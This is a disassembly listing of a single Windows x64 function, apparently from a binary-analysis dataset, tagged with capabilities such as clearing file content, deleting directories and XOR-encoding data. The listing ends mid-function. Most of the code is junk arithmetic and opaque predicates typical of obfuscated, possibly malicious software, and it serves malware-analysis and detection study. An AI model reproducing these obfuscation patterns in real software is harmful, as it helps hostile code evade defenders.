Function at 0x140001010
Capabilities:
Accept command line arguments
Clear file content
Copy file
Delete directory
Encode data using xor
Get common file path
Get disk information
Get file attributes
Get session user name
Identify system language via api
Manipulate console buffer
Read file on windows
Set console window title
Set environment variable
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2a548
call fcn.1401cdcb0
sub rsp, rax
lea rax, [rsp + 0x2a0f0]
lea rcx, str.imperceptibly
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2a110]
call fcn.1401cdc40
lea rax, [rsp + 0x2a0e0]
lea rcx, str.Contraption
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2a0d0]
lea rcx, str.Governance
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
movabs rax, 0x7dbb30cb6bfa07
mov qword [rsp + 0x8ab0], rax
movabs rax, 0x7102e570f610c8
cmp qword [rsp + 0x8ab0], rax
jne 0x14000112e
lea r8, [rsp + 0x2a100]
lea rdx, [rsp + 0x2a110]
lea rcx, [rsp + 0x4cac]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x4cac], eax
movabs rax, 0x717e160e2b72d0
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
lea rdx, [rsp + 0x2a110]
mov rcx, qword [rsp + 0x8ab8]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4cb0], eax
mov dword [rsp + 0x4cac], 0x2dd6
mov dword [rsp + 0x4cb4], 0xa529
movabs rax, 0x7cf69795538c1d
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
movabs rcx, 0x770e2a98f19e87
cmp rax, rcx
je 0x14000117f
mov byte [rsp + 0x70], 0x44
mov eax, 0x3fe
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x8ac0], rax
lea rax, [rsp + 0x4cac]
mov qword [rsp + 0x8ac8], rax
mov dword [rsp + 0x4cb8], 0x78f9
movsx eax, byte [rsp + 0x70]
and eax, 0x25
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ab0]
sar rax, 0x33
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cac]
or eax, 0x2af7
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
shl eax, cl
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x28
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
add eax, 0x76
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
and eax, 0x494e
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movsx eax, word [rsp + 0xff0]
sub eax, 0x3ba
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
add eax, 0x30
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xff0]
xor eax, 0x1ee
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
or eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
shl eax, 0x17
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
and eax, 6
mov byte [rsp + 0x70], al
movabs rax, 0x74862bd109114e
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
movabs rax, 0x7d3dd4ba5ec7e3
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x70]
sub eax, 0x22
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movsx eax, word [rsp + 0xff0]
and eax, 0x308
mov word [rsp + 0xff0], ax
mov eax, dword [rsp + 0x4cac]
add eax, 0xa6ff
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
sub eax, 0x5283
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movabs rax, 0x7c93a710de3b9e
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
or eax, 0x97c
mov dword [rsp + 0x4cac], eax
movsx eax, byte [rsp + 0x70]
xor eax, 0x71
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
shr eax, 0x1e
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
shl eax, 6
mov byte [rsp + 0x70], al
movsx eax, byte [rsp + 0x70]
and eax, 0x15
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
sub eax, 0x6bcb
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
add eax, 0x45
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x4cb4]
add eax, 0xfd
mov dword [rsp + 0x4cb4], eax
movabs rax, 0x76ca0fb775bba5
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
sub eax, 0x3401
mov dword [rsp + 0x4cac], eax
movsx eax, word [rsp + 0xff0]
and eax, 0x37d
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x18
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x4cac]
add eax, 0xd0b0
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
cmp dword [rsp + 0x4cb4], 0xe760
jne 0x14000119a
mov byte [rsp + 0x71], 0x37
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
shl eax, 6
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x4cac]
shr eax, 1
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
or eax, 0x5d71
mov dword [rsp + 0x4cac], eax
movsx eax, word [rsp + 0xff0]
xor eax, 0x228
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
and eax, 0xc0ab
mov dword [rsp + 0x4cac], eax
mov eax, dword [rsp + 0x4cb8]
sub eax, 0x7b
mov dword [rsp + 0x4cb8], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
add eax, 0x10
mov byte [rsp + 0x70], al
movsx eax, byte [rsp + 0x70]
sub eax, 0x76
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x5e
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
add eax, 0x50c2
mov dword [rsp + 0x4cac], eax
movzx eax, byte [rsp + 0x71]
add eax, 0x9c
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
sub eax, 0xacec
mov dword [rsp + 0x4cac], eax
movabs rax, 0x726182c9add4af
mov rcx, qword [rsp + 0x8ab0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
xor eax, 0xbaec
mov dword [rsp + 0x4cac], eax
cmp dword [rsp + 0x4cb8], 0x5661
jae 0x14000156a
mov dword [rsp + 0x4cbc], 0x6a83
movabs rax, 0x76e8ea5cbd1eb6
mov qword [rsp + 0x8ad0], rax
mov eax, dword [rsp + 0x4cac]
mov dword [rsp + 0x4cc0], eax
cmp dword [rsp + 0x4cc0], 0xffff5915
je 0x1400016ee
jmp 0x140001712
movzx eax, byte [rsp + 0x71]
cmp eax, 0xb7
jle 0x140001710
mov rax, qword [rsp + 0x8ac0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x71]
call fcn.1401cd640
nop
jmp 0x14000173f
mov edx, 0xcb
mov rcx, qword [rsp + 0x8ad8]
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [rsp + 0x4cc4], eax
movsx eax, word [rsp + 0xff0]
sar eax, 7
mov word [rsp + 0xff0], ax
movzx eax, byte [rsp + 0x71]
or eax, 0xe
cmp eax, 0x5a
je 0x140001820
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x4cc8], al
cmp byte [rsp + 0x4cc8], 0xb9
je 0x140001768
jmp 0x14000178a
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
jmp 0x140001813
movzx eax, byte [rsp + 0x71]
imul eax, eax, 0x11
cmp eax, 0x3c
jge 0x1400017d4
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
and eax, 5
mov byte [rsp + 0x70], al
mov rcx, qword [rsp + 0x8ae0]
call qword [sym.imp.GDI32.dll_RealizePalette]
mov dword [rsp + 0x4ccc], eax
movzx edx, byte [rsp + 0x70]
mov rax, qword [rsp + 0x8ac0]
movzx ecx, byte [rax]
call fcn.1401cc930
nop
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x4cd0], eax
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x8ae8], rax
mov dword [rsp + 0x4cd4], 0xbc68
mov dword [rsp + 0x4cd8], 0xf0c
mov dword [rsp + 0x4cdc], 0xd5e9
mov dword [rsp + 0x4ce0], 0xf474
jmp 0x140001849
movzx eax, byte [rsp + 0x71]
add eax, 0x35
mov byte [rsp + 0x71], al
lea rdx, [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8af0]
call qword [sym.imp.GDI32.dll_RectInRegion]
mov dword [rsp + 0x4ce4], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov dword [rsp + 0x4ce8], eax
cmp dword [rsp + 0x4ce8], 0x320
je 0x14000187e
cmp dword [rsp + 0x4ce8], 0x52c
je 0x140001930
jmp 0x14000194c
mov rax, qword [rsp + 0x8ab0]
mov qword [rsp + 0x8af8], rax
movabs rax, 0x73cd80efd4af73
cmp qword [rsp + 0x8ad0], rax
je 0x14000192e
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x44
movsx ecx, byte [rsp + 0x70]
cmp eax, ecx
jne 0x1400018f7
movsx eax, byte [rsp + 0x70]
sub eax, 8
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov r9, qword [rsp + 0x8af8]
movzx r8d, word [rsp + 0xff0]
mov edx, dword [rsp + 0x4ccc]
mov rcx, qword [rsp + 0x8ad0]
call fcn.1401cdb50
nop
jmp 0x14000192e
movsx eax, byte [rsp + 0x70]
add eax, 0x41
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
cmp eax, ecx
jg 0x14000192e
movabs rax, 0x77f359133bfc8a
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
jmp 0x14000194c
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4cec], eax
lea rax, [rsp + 0x8ad0]
mov qword [rsp + 0x8b00], rax
mov dword [rsp + 0x4cf0], 0x162b
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4cf4], eax
cmp dword [rsp + 0x4cf4], 0x6a83
je 0x1400019a6
cmp dword [rsp + 0x4cf4], 0x7cca
je 0x1401cc86f
jmp 0x1401cc89a
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov dword [rsp + 0x4cf8], eax
cmp dword [rsp + 0x4cf8], 0x320
je 0x1400019ca
jmp 0x1401cc6e4
lea rax, [rsp + 0x71]
mov qword [rsp + 0x8b08], rax
mov dword [rsp + 0x4cfc], 0xa4a
mov eax, 0x50c
mov word [rsp + 0xff4], ax
cmp dword [rsp + 0x4cfc], 0x1bb6
je 0x140001eb6
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x24
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4cec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
movabs rax, 0x7d9957f3ff101f
mov rcx, qword [rsp + 0x8af8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
add eax, 0x6d
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
shl eax, 6
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
sar eax, 2
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x70]
xor eax, 0x74
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movabs rax, 0x769de8d6753c44
mov rcx, qword [rsp + 0x8ad0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cfc]
add eax, 0xdf
mov dword [rsp + 0x4cfc], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cac]
mov ecx, dword [rsp + 0x4cd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
add eax, 0x452
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
add eax, 0x23
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x70]
sub eax, 0x44
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, word [rsp + 0xff4]
sub eax, 0x995
mov word [rsp + 0xff4], ax
movzx eax, byte [rsp + 0x71]
xor eax, 0xb1
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8af8]
sar rax, 0x38
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x8b10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b10]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
movzx eax, word [rsp + 0xff4]
or eax, 0x6bc
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
and eax, 0x25c
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
sub eax, 0x2ea
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sub eax, 0x67
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
movabs rax, 0x757c59e4127ea9
mov rcx, qword [rsp + 0x8ab0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8b00]
movabs rcx, 0x7c1189ed47ba7b
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x71]
add eax, 0x65
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
xor eax, 0x226
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
sar eax, 3
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x71]
shl eax, 6
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cd0]
mov ecx, dword [rsp + 0x4cac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8b00]
movabs rcx, 0x72e43d949b78ec
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ad0], rax
movsx eax, byte [rsp + 0x70]
add eax, 0xe
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
sub eax, 0x4d
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
sub eax, 0x75d
mov word [rsp + 0xff0], ax
movzx eax, word [rsp + 0xff4]
and eax, 0x539
mov word [rsp + 0xff4], ax
movzx eax, byte [rsp + 0x71]
add eax, 0xf8
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ccc], eax
jmp 0x1400019ef
movzx eax, word [rsp + 0xff4]
cmp eax, 0xa38
jne 0x140001ef6
mov rcx, qword [rsp + 0x8b18]
call qword [sym.imp.GDI32.dll_GetArcDirection]
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov dword [rsp + 0x4d04], 0x35a7
mov rax, qword [rsp + 0x8af8]
mov qword [rsp + 0x8b20], rax
lea rax, [rsp + 0x8ad0]
mov qword [rsp + 0x8b28], rax
mov eax, dword [rsp + 0x4cec]
mov dword [rsp + 0x4d08], eax
cmp dword [rsp + 0x4d08], 0x4599
je 0x140001fd2
cmp dword [rsp + 0x4d08], 0x6a83
je 0x140001f52
jmp 0x140001ff6
mov rax, qword [rsp + 0x8ac0]
movzx eax, byte [rax]
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ac0]
movzx eax, byte [rax]
mov byte [rsp + 0x4d0c], al
cmp byte [rsp + 0x4d0c], 0x4e
je 0x140001fba
cmp byte [rsp + 0x4d0c], 0x5c
je 0x140001f89
jmp 0x140001fd0
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x8ad0]
mov r8d, dword [rsp + 0x4ccc]
movzx edx, byte [rsp + 0x72]
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rax]
call fcn.1401cd5a0
nop
jmp 0x140001fd0
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
shl eax, 0xc
mov word [rsp + 0xff0], ax
jmp 0x140001ff6
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ad0]
shr rax, cl
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
or eax, 0x26
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ccc], eax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x8af8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
sub eax, 0x200
mov word [rsp + 0xff0], ax
movzx eax, word [rsp + 0xff4]
add eax, 0xa08
mov word [rsp + 0xff4], ax
mov eax, dword [rsp + 0x4cf0]
add eax, 0xc2
mov dword [rsp + 0x4cf0], eax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xff0]
and eax, 0x4b6
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, word [rsp + 0xff4]
sub eax, 0x54a
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8b20]
movzx ecx, al
mov rax, qword [rsp + 0x8ab0]
sar rax, cl
mov qword [rsp + 0x8af8], rax
mov eax, dword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x8b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x71]
sub eax, 0x65
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
and eax, 0xd3e
mov word [rsp + 0xff4], ax
movsx eax, word [rsp + 0xff0]
add eax, 0x48e
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
and eax, 0x96
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
xor eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
sar eax, 9
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
or eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0xff0]
shl eax, 7
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
sub eax, 0x792
mov word [rsp + 0xff4], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
sub eax, 0x4b1
mov word [rsp + 0xff0], ax
cmp dword [rsp + 0x4cf0], 0x33b9
jne 0x140001ff6
movzx eax, word [rsp + 0xff4]
add eax, 0x4fd
cmp eax, 0x400
jle 0x140002488
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0xff8], ax
